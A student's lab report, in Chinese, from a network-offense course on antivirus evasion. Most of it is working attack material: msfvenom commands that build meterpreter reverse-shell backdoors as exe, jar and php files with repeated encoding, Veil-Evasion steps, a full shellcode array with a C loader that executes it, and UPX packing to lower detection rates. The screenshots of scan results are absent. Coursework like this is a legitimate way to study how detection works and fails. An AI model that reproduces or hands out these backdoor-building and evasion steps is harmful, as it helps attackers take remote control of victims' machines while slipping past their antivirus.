20155333 《网络对抗》Exp3 免杀原理与实践
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测;
- 启发式恶意软件检测;
- 基于行为的恶意软件检测。
(2)免杀是做什么?
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
(3)免杀的基本方法有哪些?
- 加壳:压缩壳 加密壳;
- 用其他语言进行重写再编译(veil-evasion);
- 基于payload重新编译生成可执行文件;
- 改变行为。
实践
一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
(1)正确使用msf编码器
把实验二中生成的后门程序改名为“backdoor.exe”后放到virscan网站中扫描结果如下
用msf编码器对后门程序进行一次到多次的编码,看能否降低检出率
- 编码一次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘x00’ LHOST=192.168.199.170 LPORT=5333 -f exe > backdoor.exe
- 编码十次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.199.170 LPORT=5333 -f exe > backdoor0.exe
2)msfvenom生成jar文件
生成Java后门程序:
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.199.170 lport=5333 x> backdoor_java.jar
(3)msfvenom生成php文件
生成PHP后门程序:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.170 lport=5333 x> backdoor.php
4)msfvenom生成shellcode
生成shellcode:
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.199.170 lport=5333 -f c
(5)veil-evasion
拷贝老师的虚拟机,输入命令:veil
,启用veil;接着在veil中输入命令:use evasion
,进入veil-evasion
输入命令:use c/meterpreter/rev_tcp.py
设置反弹连接IP,命令为:set LHOST 192.168.199.194
,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT 5333
输入generate
生成文件,接着输入playload名:playload5333
在/var/lib/veil/output/compiled/playload5333.exe这个路径下找我们生成的exe文件,用virscan扫描结果如下:
(6)C语言调用Shellcode版本
首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.194 LPORT=5333 -f c
用c语言生成一段shellcode;
创建一个文件20155333.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
"x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
"xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
"x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
"x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
"x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
"x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
"x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
"x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
"x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
"x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
"x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8xd9x82"
"x68x02x00x14xc0x89xe6x50x50x50x50x40x50x40x50"
"x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
"x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
"xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
"x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
"x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
"x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
"x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
"x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
"xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用命令:i686-w64-mingw32-g++ 20155333.c -o 20155333.exe
编译这个.c文件为可执行文件:
扫描结果如下:
在kali上测试其是否可用:
windows下扫描结果如下:
使用UPX对生成的后门程序加壳:
扫描结果如下:
离实战还缺些什么技术或步骤?
感觉自己现在只是能按照老师所给的实验指导,在尽量不出错的情况下基本完成实验内容,距离实战同时具有知识及技术上的不足,需要对杀毒软件的原理及免杀技术具有更深入的了解,并且通过一定的练习来掌握这些,才能有能力接触实战。
实验总结及体会
我所使用的杀毒软件电脑管家在本次实验过程中竟然一次也没有没有发现病毒,看来确实需要换一款杀毒软件了。